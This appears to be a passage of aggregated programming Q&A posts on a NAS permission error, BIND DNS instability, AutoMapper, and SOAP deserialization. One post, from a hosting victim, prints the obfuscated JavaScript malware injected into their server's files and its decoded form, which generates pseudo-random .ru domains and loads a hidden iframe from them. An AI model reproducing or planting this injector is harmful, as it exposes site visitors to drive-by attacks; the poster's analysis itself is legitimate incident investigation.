read(3, "fs.xino,noplink,create=mfs,sum,b"..., 1024) = 428 read(3, "", 1024) = 0 close(3) = 0 munmap(0x4001d000, 4096) = 0 access("/etc/selinux/", F_OK) = 0 open("/etc/selinux/config", O_RDONLY|O_LARGEFILE) = -1 ENOENT (No such file or directory) ioctl(1, SNDCTL_TMR_TIMEBASE or TCGETS, {B38400 opost isig icanon echo ...}) = 0 ioctl(1, TIOCGWINSZ, {ws_row=52, ws_col=153, ws_xpixel=918, ws_ypixel=728}) = 0 stat64("Inbox", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0 socket(PF_FILE, SOCK_STREAM, 0) = 3 fcntl64(3, F_GETFL) = 0x2 (flags O_RDWR) fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0 connect(3, {sa_family=AF_FILE, path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory) close(3) = 0 socket(PF_FILE, SOCK_STREAM, 0) = 3 fcntl64(3, F_GETFL) = 0x2 (flags O_RDWR) fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0 connect(3, {sa_family=AF_FILE, path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory) close(3) = 0 open("/etc/nsswitch.conf", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=1696, ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001d000 read(3, "#\n# /etc/nsswitch.conf\n#\n# An ex"..., 4096) = 1696 read(3, "", 4096) = 0 close(3) = 0 munmap(0x4001d000, 4096) = 0 open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=17972, ...}) = 0 mmap2(NULL, 17972, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4001d000 close(3) = 0 open("/lib/libnss_files.so.2", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0(\0\1\0\0\0\304\27\0\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=49256, ...}) = 0 mmap2(NULL, 70316, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x40223000 mprotect(0x4022c000, 28672, PROT_NONE) = 0 mmap2(0x40233000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x8) = 0x40233000 close(3) = 0 mprotect(0x40233000, 4096, PROT_READ) = 0 munmap(0x4001d000, 17972) = 0 open("/etc/passwd", O_RDONLY) = 3 fcntl64(3, F_GETFD) = 0 fcntl64(3, F_SETFD, FD_CLOEXEC) = 0 fstat64(3, {st_mode=S_IFREG|0644, st_size=1661, ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001d000 read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1661 close(3) = 0 munmap(0x4001d000, 4096) = 0 socket(PF_FILE, SOCK_STREAM, 0) = 3 fcntl64(3, F_GETFL) = 0x2 (flags O_RDWR) fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0 connect(3, {sa_family=AF_FILE, path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory) close(3) = 0 socket(PF_FILE, SOCK_STREAM, 0) = 3 fcntl64(3, F_GETFL) = 0x2 (flags O_RDWR) fcntl64(3, F_SETFL, O_RDWR|O_NONBLOCK) = 0 connect(3, {sa_family=AF_FILE, path="/var/run/nscd/socket"}, 110) = -1 ENOENT (No such file or directory) close(3) = 0 open("/etc/group", O_RDONLY) = 3 fcntl64(3, F_GETFD) = 0 fcntl64(3, F_SETFD, FD_CLOEXEC) = 0 fstat64(3, {st_mode=S_IFREG|0644, st_size=700, ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001d000 read(3, "root:x:0:root\nbin:x:1:root,bin,d"..., 4096) = 700 close(3) = 0 munmap(0x4001d000, 4096) = 0 open("Inbox", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = -1 EACCES (Permission denied) write(2, "ls: ", 4ls: ) = 4 write(2, "Inbox", 5Inbox) = 5 write(2, ": Permission denied", 19: Permission denied) = 19 write(2, "\n", 1 ) = 1 close(1) = 0 exit_group(2) = ? 2nd edit: Elaboration for Mike. The Inbox sits at the following location /home/admin/MyLibrary/MyVideos/Inbox /home/admin/MyLibrary/MyVideos/Movies The system is a Netgear Stora NAS box that I have root access to. The /home/ folder is mounted as an smb share on various computers around the house. The folder /Inbox cannot be opened on any of those machines (they all connect as 'admin'). When I ssh into the box using the 'admin' credentials I am also unable to access the folder. The folder was created via a Web Admin page hosted on the NAS. The user/group for the Inbox folder was previously apache:www (expected as this folder was created by the web application), but I chmod/chowned the folder as the root user in an attempt to grant the admin user (therefore the rest of the connected machines) access to the files. Sorry for not including this earlier, I wasn't sure if it was relevant and didn't want to confuse the situation. -Thanks 3rd Edit Sorry again - It looks like this NAS is running some custom version of Red Hat, not Debian as previously stated - I'm not sure if this makes a difference

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  • Unstable DNS with bind

    - by yasser abd
    we have a Centos machine called jupiter, on which I have installed bind9, On every other machine the DNS is set to be the IP address of jupiter (192.168.2.101), as you can see in the output of the following command in windows >ipconfig /all Windows IP Configuration Host Name . . . . . . . . . . . . : mypcs Primary Dns Suffix . . . . . . . : Node Type . . . . . . . . . . . . : Hybrid IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Broadcom NetXtreme 57xx Gigabit Controller Physical Address. . . . . . . . . : 00-1A-A0-AC-E4-CC DHCP Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes Link-local IPv6 Address . . . . . : fe80::c16d:3ae4:5907:30c4%8(Preferred) IPv4 Address. . . . . . . . . . . : 192.168.2.98(Preferred) Subnet Mask . . . . . . . . . . . : 255.255.255.0 Lease Obtained. . . . . . . . . . : Thursday, September 20, 2012 10:26:11 AM Lease Expires . . . . . . . . . . : Sunday, September 23, 2012 10:26:10 AM Default Gateway . . . . . . . . . : 192.168.2.1 DHCP Server . . . . . . . . . . . : 192.168.2.1 DHCPv6 IAID . . . . . . . . . . . : 201333408 DHCPv6 Client DUID. . . . . . . . : 00-01-00-01-16-3A-50-01-00-1A-A0-AC-E4-CC DNS Servers . . . . . . . . . . . : 192.168.2.101 192.168.2.1 192.168.2.1 NetBIOS over Tcpip. . . . . . . . : Enabled All machines can always nslookup one of the domain (mydomain.com) that is set in the jupiter's DNS server, you can see that in the output of nslookup on the same windows machine: >nslookup mydomain.com Server: UnKnown Address: 192.168.2.101 Name: mydomain.com Address: 192.168.2.100 The problem is, sometimes mydomain.com can not be pinged, here is the output of the ping on the same windows machine >ping mydomain.com Ping request could not find host mydomain.com. Please check the name and try again. This looks very random, and happens once in a while, so the machine can lookup the DNS records but can't ping it, nor can browse the website that is hosted on mydomain.com, which should resolve to 192.168.2.100 On a linux machine that has the same DNS settings, the output of dig command for mydomain is as follows: $ dig mydomain.com ; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.10.rc1.el6_3.2 <<>> mydomain.com ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 36090 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1 ;; QUESTION SECTION: ;mydomain.com. IN A ;; ANSWER SECTION: mydomain.com. 86400 IN A 192.168.2.100 ;; AUTHORITY SECTION: mydomain.com. 86400 IN NS jupiter. ;; ADDITIONAL SECTION: jupiter. 86400 IN A 192.168.2.101 ;; Query time: 1 msec ;; SERVER: 192.168.2.101#53(192.168.2.101) ;; WHEN: Thu Sep 20 16:32:14 2012 ;; MSG SIZE rcvd: 83 We've never had the same problem on MACs, they always resolve mydomain.com Here is how I have defined mydomain.com on Bind9's configs on Jupiter, notice that the name of the machine on 192.168.2.100 is venus, so I have this file: /var/named/named.venus: $TTL 1D @ IN SOA jupiter. admin.ourcompany.com. ( 2003052800 ; serial 86400 ; refresh 300 ; retry 604800 ; expire 3600 ; minimum ) @ IN NS jupiter. @ IN A 192.168.2.100 * IN A 192.168.2.100 /var/named/zones/named.venus.zone zone "mydomain.com" IN {type master;file "/var/named/named.venus";allow-update {none;};}; One thing to note is that I haven't defined reverse DNS lookups, only the forward DNS lookups are defined in Bind9 configs, not sure if that's relevant or not. So my question is, why is this being so unstable? what could be the cause?

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  • Got a malware on my hosting provider which infect JavaScript files .. how do I find the entry point?

    - by h3.
    This morning some sites which are hosted on the server as me started triggering malware alerts and started to redirect traffic to external sites. I've found out that a line of packed javascript was added to many js files across the server. What the script does is pretty simple, but what I would like to know is if this malware is well known and how it infect servers and propagate. For the curious here's the javascript line in question: /*km0ae9gr6m*/try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-012/5;try{bcsd=prototype-2;}catch(bawg){ss=[];f=(h)?("fromCharC"+"ode"):"";e=window["e"+"val"];n=[102,234,330,396,116,210,333,440,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,80,123,492,10,64,96,128,32,236,291,456,32,208,315,128,61,64,348,416,105,230,138,460,101,202,300,128,47,64,348,416,105,230,138,324,59,20,96,128,32,64,354,388,114,64,324,444,32,122,96,464,104,210,345,184,115,202,303,400,32,74,96,464,104,210,345,184,81,118,30,128,32,64,96,472,97,228,96,464,101,230,348,128,61,64,348,416,105,230,138,260,32,84,96,432,111,64,135,128,116,208,315,460,46,164,96,168,32,208,315,236,10,64,96,128,32,210,306,160,116,202,345,464,32,124,96,192,41,246,30,128,32,64,96,128,32,64,96,464,104,210,345,184,115,202,303,400,32,122,96,464,101,230,348,236,10,64,96,128,32,250,96,404,108,230,303,128,123,20,96,128,32,64,96,128,32,64,348,416,105,230,138,460,101,202,300,128,61,64,348,404,115,232,96,172,32,232,312,420,115,92,231,236,10,64,96,128,32,250,30,128,32,64,96,456,101,232,351,456,110,64,120,464,104,210,345,184,115,202,303,400,32,84,96,464,104,210,345,184,111,220,303,316,118,202,342,308,41,118,30,500,10,20,306,468,110,198,348,420,111,220,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,369,40,32,64,96,128,118,194,342,128,100,64,183,128,110,202,357,128,68,194,348,404,40,234,330,420,120,84,147,192,48,96,123,236,10,64,96,128,32,236,291,456,32,230,96,244,32,200,138,412,101,232,216,444,117,228,345,160,41,64,186,128,49,100,96,252,32,98,96,232,32,96,177,40,32,64,96,128,116,208,315,460,46,230,303,404,100,64,183,128,50,102,156,212,54,110,168,228,48,98,96,172,32,80,300,184,103,202,348,308,111,220,348,416,40,82,96,168,32,96,360,280,70,140,210,280,70,82,96,172,32,80,300,184,103,202,348,272,97,232,303,160,41,64,126,128,48,240,210,280,70,140,123,172,32,80,231,388,116,208,138,456,111,234,330,400,40,230,96,168,32,96,360,280,70,140,123,164,59,20,96,128,32,64,348,416,105,230,138,260,32,122,96,208,56,100,165,196,59,20,96,128,32,64,348,416,105,230,138,308,32,122,96,200,49,104,165,208,56,102,162,208,55,118,30,128,32,64,96,464,104,210,345,184,81,64,183,128,116,208,315,460,46,154,96,188,32,232,312,420,115,92,195,236,10,64,96,128,32,232,312,420,115,92,246,128,61,64,348,416,105,230,138,308,32,74,96,464,104,210,345,184,65,118,30,128,32,64,96,464,104,210,345,184,111,220,303,316,118,202,342,308,32,122,96,196,46,96,96,188,32,232,312,420,115,92,231,236,10,64,96,128,32,232,312,420,115,92,330,404,120,232,96,244,32,220,303,480,116,164,291,440,100,222,327,312,117,218,294,404,114,118,30,128,32,64,96,456,101,232,351,456,110,64,348,416,105,230,177,40,125,20,30,408,117,220,297,464,105,222,330,128,99,228,303,388,116,202,246,388,110,200,333,436,78,234,327,392,101,228,120,456,44,64,231,420,110,88,96,308,97,240,123,492,10,64,96,128,32,228,303,464,117,228,330,128,77,194,348,416,46,228,333,468,110,200,120,160,77,194,360,180,77,210,330,164,32,84,96,456,46,220,303,480,116,80,123,128,43,64,231,420,110,82,177,40,125,20,30,408,117,220,297,464,105,222,330,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,216,303,440,103,232,312,176,32,244,333,440,101,82,369,40,32,64,96,128,118,194,342,128,114,194,330,400,32,122,96,440,101,238,96,328,97,220,300,444,109,156,351,436,98,202,342,284,101,220,303,456,97,232,333,456,40,234,330,420,120,82,177,40,32,64,96,128,118,194,342,128,108,202,348,464,101,228,345,128,61,64,273,156,97,78,132,156,98,78,132,156,99,78,132,156,100,78,132,156,101,78,132,156,102,78,132,156,103,78,132,156,104,78,132,156,105,78,132,156,106,78,132,156,107,78,132,156,108,78,132,156,109,78,132,156,110,78,132,156,111,78,132,156,112,78,132,156,113,78,132,156,114,78,132,156,115,78,132,156,116,78,132,156,117,78,132,156,118,78,132,156,119,78,132,156,120,78,132,156,121,78,132,156,122,78,279,236,10,64,96,128,32,236,291,456,32,230,348,456,32,122,96,156,39,118,30,128,32,64,96,408,111,228,120,472,97,228,96,420,32,122,96,192,59,64,315,128,60,64,324,404,110,206,348,416,59,64,315,128,43,86,96,164,123,20,96,128,32,64,96,128,32,64,345,464,114,64,129,244,32,216,303,464,116,202,342,460,91,198,342,404,97,232,303,328,97,220,300,444,109,156,351,436,98,202,342,160,114,194,330,400,44,64,144,176,32,216,303,464,116,202,342,460,46,216,303,440,103,232,312,128,45,64,147,164,93,118,30,128,32,64,96,500,10,64,96,128,32,228,303,464,117,228,330,128,115,232,342,128,43,64,117,184,39,64,129,128,122,222,330,404,59,20,375,40,10,230,303,464,84,210,327,404,111,234,348,160,102,234,330,396,116,210,333,440,40,82,369,40,32,64,96,128,116,228,363,492,10,64,96,128,32,64,96,128,32,210,306,160,116,242,336,404,111,204,96,420,102,228,291,436,101,174,291,460,67,228,303,388,116,202,300,128,61,122,96,136,117,220,300,404,102,210,330,404,100,68,123,492,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,97,218,303,348,97,230,201,456,101,194,348,404,100,64,183,128,116,228,351,404,59,20,96,128,32,64,96,128,32,64,96,128,32,64,354,388,114,64,351,440,105,240,96,244,32,154,291,464,104,92,342,444,117,220,300,160,43,220,303,476,32,136,291,464,101,80,123,188,49,96,144,192,41,118,30,128,32,64,96,128,32,64,96,128,32,64,96,472,97,228,96,400,111,218,291,420,110,156,291,436,101,64,183,128,103,202,330,404,114,194,348,404,80,230,303,468,100,222,246,388,110,200,333,436,83,232,342,420,110,206,120,468,110,210,360,176,32,98,162,176,32,78,342,468,39,82,177,40,32,64,96,128,32,64,96,128,32,64,96,128,105,204,342,436,32,122,96,400,111,198,351,436,101,220,348,184,99,228,303,388,116,202,207,432,101,218,303,440,116,80,102,292,70,164,195,308,69,68,123,236,32,20,96,128,32,64,96,128,32,64,96,128,32,64,315,408,114,218,138,460,101,232,195,464,116,228,315,392,117,232,303,160,34,230,342,396,34,88,96,136,104,232,348,448,58,94,141,136,43,200,333,436,97,210,330,312,97,218,303,172,34,94,342,468,110,204,333,456,101,230,348,456,117,220,189,460,105,200,183,396,120,68,123,236,32,20,96,128,32,64,96,128,32,64,96,128,32,64,315,408,114,218,138,460,116,242,324,404,46,238,315,400,116,208,96,244,32,68,144,448,120,68,177,128,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,109,92,345,464,121,216,303,184,104,202,315,412,104,232,96,244,32,68,144,448,120,68,177,128,10,64,96,128,32,64,96,128,32,64,96,128,32,210,306,456,109,92,345,464,121,216,303,184,118,210,345,420,98,210,324,420,116,242,96,244,32,68,312,420,100,200,303,440,34,118,96,40,32,64,96,128,32,64,96,128,32,64,96,128,100,222,297,468,109,202,330,464,46,196,333,400,121,92,291,448,112,202,330,400,67,208,315,432,100,80,315,408,114,218,123,236,10,64,96,128,32,64,96,128,32,250,30,128,32,64,96,500,99,194,348,396,104,80,303,164,123,250,30,500,44,64,159,192,48,82,177];if(window.document)for(i=6-2-1-2-1;-1771+i!=2-2;i++){k=i;ss=ss+String[f](n[k]/(i%(h*h)+2-1));}e(ss);}}/*qhk6sa6g1c*/ Once unpacked it looks like this: function nextRandomNumber(){ var hi = this.seed / this.Q; var lo = this.seed % this.Q; var test = this.A * lo - this.R * hi; if(test > 0){ this.seed = test; } else { this.seed = test + this.M; } return (this.seed * this.oneOverM); } function RandomNumberGenerator(unix){ var d = new Date(unix*1000); var s = d.getHours() > 12 ? 1 : 0; this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF)+ (Math.round(s * 0xFFF)); this.A = 48271; this.M = 2147483647; this.Q = this.M / this.A; this.R = this.M % this.A; this.oneOverM = 1.0 / this.M; this.next = nextRandomNumber; return this; } function createRandomNumber(r, Min, Max){ return Math.round((Max-Min) * r.next() + Min); } function generatePseudoRandomString(unix, length, zone){ var rand = new RandomNumberGenerator(unix); var letters = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']; var str = ''; for(var i = 0; i < length; i ++ ){ str += letters[createRandomNumber(rand, 0, letters.length - 1)]; } return str + '.' + zone; } setTimeout(function(){ try{ if(typeof iframeWasCreated == "undefined"){ iframeWasCreated = true; var unix = Math.round(+new Date()/1000); var domainName = generatePseudoRandomString(unix, 16, 'ru'); ifrm = document.createElement("IFRAME"); ifrm.setAttribute("src", "http://"+domainName+"/runforestrun?sid=cx"); ifrm.style.width = "0px"; ifrm.style.height = "0px"; ifrm.style.visibility = "hidden"; document.body.appendChild(ifrm); } }catch(e){} }, 500);

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  • AutoMapper is not working for a Container class

    - by rboarman
    Hello, I have an AutoMapper issue that has been driving me crazy for way too long now. A similar question was also posted on the AutoMapper user site but has not gotten much love. The summary is that I have a container class that holds a Dictionary of components. The components are a derived object of a common base class. I also have a parallel structure that I am using as DTO objects to which I want to map. The error that gets generated seems to say that the mapper cannot map between two of the classes that I have included in the CreateMap calls. I think the error has to do with the fact that I have a Dictionary of objects that are not part of the container‘s hierarchy. I apologize in advance for the length of the code below. My simple test cases work. Needless to say, it’s only the more complex case that is failing. Here are the classes: #region Dto objects public class ComponentContainerDTO { public Dictionary<string, ComponentDTO> Components { get; set; } public ComponentContainerDTO() { this.Components = new Dictionary<string, ComponentDTO>(); } } public class EntityDTO : ComponentContainerDTO { public int Id { get; set; } } public class ComponentDTO { public EntityDTO Owner { get; set; } public int Id { get; set; } public string Name { get; set; } public string ComponentType { get; set; } } public class HealthDTO : ComponentDTO { public decimal CurrentHealth { get; set; } } public class PhysicalLocationDTO : ComponentDTO { public Point2D Location { get; set; } } #endregion #region Domain objects public class ComponentContainer { public Dictionary<string, Component> Components { get; set; } public ComponentContainer() { this.Components = new Dictionary<string, Component>(); } } public class Entity : ComponentContainer { public int Id { get; set; } } public class Component { public Entity Owner { get; set; } public int Id { get; set; } public string Name { get; set; } public string ComponentType { get; set; } } public class Health : Component { public decimal CurrentHealth { get; set; } } public struct Point2D { public decimal X; public decimal Y; public Point2D(decimal x, decimal y) { X = x; Y = y; } } public class PhysicalLocation : Component { public Point2D Location { get; set; } } #endregion The code: var entity = new Entity() { Id = 1 }; var healthComponent = new Health() { CurrentHealth = 100, Owner = entity, Name = "Health", Id = 2 }; entity.Components.Add("1", healthComponent); var locationComponent = new PhysicalLocation() { Location = new Point2D() { X = 1, Y = 2 }, Owner = entity, Name = "PhysicalLocation", Id = 3 }; entity.Components.Add("2", locationComponent); Mapper.CreateMap<ComponentContainer, ComponentContainerDTO>() .Include<Entity, EntityDTO>(); Mapper.CreateMap<Entity, EntityDTO>(); Mapper.CreateMap<Component, ComponentDTO>() .Include<Health, HealthDTO>() .Include<PhysicalLocation, PhysicalLocationDTO>(); Mapper.CreateMap<Component, ComponentDTO>(); Mapper.CreateMap<Health, HealthDTO>(); Mapper.CreateMap<PhysicalLocation, PhysicalLocationDTO>(); Mapper.AssertConfigurationIsValid(); var targetEntity = Mapper.Map<Entity, EntityDTO>(entity); The error when I call Map() (abbreviated stack crawls): AutoMapper.AutoMapperMappingException was unhandled Message=Trying to map MapperTest1.Entity to MapperTest1.EntityDTO. Using mapping configuration for MapperTest1.Entity to MapperTest1.EntityDTO Exception of type 'AutoMapper.AutoMapperMappingException' was thrown. Source=AutoMapper StackTrace: at AutoMapper.MappingEngine.AutoMapper.IMappingEngineRunner.Map(ResolutionContext context) . . . InnerException: AutoMapper.AutoMapperMappingException Message=Trying to map System.Collections.Generic.Dictionary`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MapperTest1.Component, ElasticTest1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] to System.Collections.Generic.Dictionary`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MapperTest1.ComponentDTO, ElasticTest1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]. Using mapping configuration for MapperTest1.Entity to MapperTest1.EntityDTO Destination property: Components Exception of type 'AutoMapper.AutoMapperMappingException' was thrown. Source=AutoMapper StackTrace: at AutoMapper.Mappers.TypeMapObjectMapperRegistry.PropertyMapMappingStrategy.MapPropertyValue(ResolutionContext context, IMappingEngineRunner mapper, Object mappedObject, PropertyMap propertyMap) . . InnerException: AutoMapper.AutoMapperMappingException Message=Trying to map System.Collections.Generic.Dictionary`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MapperTest1.Component, ElasticTest1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]] to System.Collections.Generic.Dictionary`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[MapperTest1.ComponentDTO, ElasticTest1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null]]. Using mapping configuration for MapperTest1.Entity to MapperTest1.EntityDTO Destination property: Components Exception of type 'AutoMapper.AutoMapperMappingException' was thrown. Source=AutoMapper StackTrace: at AutoMapper.MappingEngine.AutoMapper.IMappingEngineRunner.Map(ResolutionContext context) . InnerException: AutoMapper.AutoMapperMappingException Message=Trying to map MapperTest1.Component to MapperTest1.ComponentDTO. Using mapping configuration for MapperTest1.Health to MapperTest1.HealthDTO Destination property: Components Exception of type 'AutoMapper.AutoMapperMappingException' was thrown. Source=AutoMapper StackTrace: at AutoMapper.MappingEngine.AutoMapper.IMappingEngineRunner.Map(ResolutionContext context) . . InnerException: AutoMapper.AutoMapperMappingException Message=Trying to map System.Decimal to System.Decimal. Using mapping configuration for MapperTest1.Health to MapperTest1.HealthDTO Destination property: CurrentHealth Exception of type 'AutoMapper.AutoMapperMappingException' was thrown. Source=AutoMapper StackTrace: at AutoMapper.Mappers.TypeMapObjectMapperRegistry.PropertyMapMappingStrategy.MapPropertyValue(ResolutionContext context, IMappingEngineRunner mapper, Object mappedObject, PropertyMap propertyMap) . . InnerException: System.InvalidCastException Message=Unable to cast object of type 'MapperTest1.ComponentDTO' to type 'MapperTest1.HealthDTO'. Source=Anonymously Hosted DynamicMethods Assembly StackTrace: at SetCurrentHealth(Object , Object ) . . Thank you in advance. Rick

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  • Remove redundant xml namespaces from soapenv:Body

    - by drachenstern
    If you can tell me the magic google term that instantly gives me clarification, that would be helpful. Here's the part that's throwing an issue when I try to manually deserialize from a string: xsi:type="ns1:errorObject" xmlns:ns1="http://www.example.org/Version_3.0" xsi:type="ns2:errorObject" xmlns:ns2="http://www.example.org/Version_3.0" xsi:type="ns3:errorObject" xmlns:ns3="http://www.example.org/Version_3.0" Here's how I'm deserializing by hand to test it: (in an aspx.cs page with a label on the front to display the value in that I can verify by reading source) (second block of XML duplicates the first but without the extra namespaces) using System; using System.IO; using System.Text; using System.Xml; using System.Xml.Serialization; public partial class test : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { string sourceXml = @"<?xml version=""1.0""?> <InitiateActivityResponse xmlns=""http://www.example.org/Version_3.0""> <InitiateActivityResult> <errorObject errorString=""string 1"" eventTime=""2010-05-21T21:19:15.775Z"" nounType=""Object"" objectID=""object1"" xsi:type=""ns1:errorObject"" xmlns:ns1=""http://www.example.org/Version_3.0"" /> <errorObject errorString=""string 2"" eventTime=""2010-05-21T21:19:15.791Z"" nounType=""Object"" objectID=""object2"" xsi:type=""ns2:errorObject"" xmlns:ns2=""http://www.example.org/Version_3.0"" /> <errorObject errorString=""string 3"" eventTime=""2010-05-21T21:19:15.806Z"" nounType=""Object"" objectID=""object3"" xsi:type=""ns3:errorObject"" xmlns:ns3=""http://www.example.org/Version_3.0"" /> </InitiateActivityResult> </InitiateActivityResponse> "; sourceXml = @"<?xml version=""1.0""?> <InitiateActivityResponse xmlns=""http://www.example.org/Version_3.0""> <InitiateActivityResult> <errorObject errorString=""string 1"" eventTime=""2010-05-21T21:19:15.775Z"" nounType=""Object"" objectID=""object1"" /> <errorObject errorString=""string 2"" eventTime=""2010-05-21T21:19:15.791Z"" nounType=""Object"" objectID=""object2"" /> <errorObject errorString=""string 3"" eventTime=""2010-05-21T21:19:15.806Z"" nounType=""Object"" objectID=""object3"" /> </InitiateActivityResult> </InitiateActivityResponse> "; InitiateActivityResponse fragment = new InitiateActivityResponse(); Type t = typeof( InitiateActivityResponse ); StringBuilder sb = new StringBuilder(); TextWriter textWriter = new StringWriter( sb ); TextReader textReader = new StringReader( sourceXml ); XmlTextReader xmlTextReader = new XmlTextReader( textReader ); XmlSerializer xmlSerializer = new XmlSerializer( t ); object obj = xmlSerializer.Deserialize( xmlTextReader ); fragment = (InitiateActivityResponse)obj; xmlSerializer.Serialize( textWriter, fragment ); //I have a field on my public page that I write to from sb.ToString(); } } Consuming a webservice, I have a class like thus: (all examples foreshortened to as little as possible to show the problem, if boilerplate is missing, my apologies) (this is where I think I want to remove the troublespot) [System.Diagnostics.DebuggerStepThroughAttribute()] [System.ComponentModel.DesignerCategoryAttribute( "code" )] [System.Web.Services.WebServiceBindingAttribute( Name = "MyServerSoapSoapBinding", Namespace = "http://www.example.org/Version_3.0" )] public partial class MyServer : System.Web.Services.Protocols.SoapHttpClientProtocol { public MsgHeader msgHeader { get; set; } public MyServer () { this.Url = "localAddressOmittedOnPurpose"; } [System.Web.Services.Protocols.SoapHeaderAttribute( "msgHeader" )] [System.Web.Services.Protocols.SoapDocumentMethodAttribute( "http://www.example.org/Version_3.0/InitiateActivity", RequestNamespace = "http://www.example.org/Version_3.0", ResponseNamespace = "http://www.example.org/Version_3.0", Use = System.Web.Services.Description.SoapBindingUse.Literal, ParameterStyle = System.Web.Services.Protocols.SoapParameterStyle.Wrapped )] [return: System.Xml.Serialization.XmlElementAttribute( "InitiateActivityResponse" )] public InitiateActivityResponse InitiateActivity(string inputVar) { object[] results = Invoke( "InitiateActivity", new object[] { inputVar } ); return ( (InitiateActivityResponse)( results[0] ) ); } } Class descriptions [System.SerializableAttribute] [System.Diagnostics.DebuggerStepThroughAttribute] [System.ComponentModel.DesignerCategoryAttribute( "code" )] [XmlType( Namespace = "http://www.example.org/Version_3.0", TypeName = "InitiateActivityResponse" )] [XmlRoot( Namespace = "http://www.example.org/Version_3.0" )] public class InitiateActivityResponse { [XmlArray( ElementName = "InitiateActivityResult", IsNullable = true )] [XmlArrayItem( ElementName = "errorObject", IsNullable = false )] public errorObject[] errorObject { get; set; } } [System.SerializableAttribute] [System.Diagnostics.DebuggerStepThroughAttribute] [System.ComponentModel.DesignerCategoryAttribute( "code" )] [XmlTypeAttribute( Namespace = "http://www.example.org/Version_3.0" )] public class errorObject { private string _errorString; private System.DateTime _eventTime; private bool _eventTimeSpecified; private string _nounType; private string _objectID; [XmlAttributeAttribute] public string errorString { get { return _errorString; } set { _errorString = value; } } [XmlAttributeAttribute] public System.DateTime eventTime { get { return _eventTime; } set { _eventTime = value; } } [XmlIgnoreAttribute] public bool eventTimeSpecified { get { return _eventTimeSpecified; } set { _eventTimeSpecified = value; } } [XmlAttributeAttribute] public string nounType { get { return _nounType; } set { _nounType = value; } } [XmlAttributeAttribute] public string objectID { get { return _objectID; } set { _objectID = value; } } } SOAP as it's being received (as seen by Fiddler2) <?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <soapenv:Header> <MsgHeader soapenv:actor="http://schemas.xmlsoap.org/soap/actor/next" soapenv:mustUnderstand="0" AppName="AppName" AppVersion="1.0" Company="Company" Pwd="" UserID="" xmlns="http://www.example.org/Version_3.0"/> </soapenv:Header> <soapenv:Body> <InitiateActivityResponse xmlns="http://www.example.org/Version_3.0"> <InitiateActivityResult> <errorObject errorString="Explanatory string for request 1" eventTime="2010-05-24T21:21:37.477Z" nounType="Object" objectID="12345" xsi:type="ns1:errorObject" xmlns:ns1="http://www.example.org/Version_3.0"/> <errorObject errorString="Explanatory string for request 2" eventTime="2010-05-24T21:21:37.493Z" nounType="Object" objectID="45678" xsi:type="ns2:errorObject" xmlns:ns2="http://www.example.org/Version_3.0"/> <errorObject errorString="Explanatory string for request 3" eventTime="2010-05-24T21:21:37.508Z" nounType="Object" objectID="98765" xsi:type="ns3:errorObject" xmlns:ns3="http://www.example.org/Version_3.0"/> </InitiateActivityResult> </InitiateActivityResponse> </soapenv:Body> </soapenv:Envelope> Okay, what should I have not omitted? No I won't post the 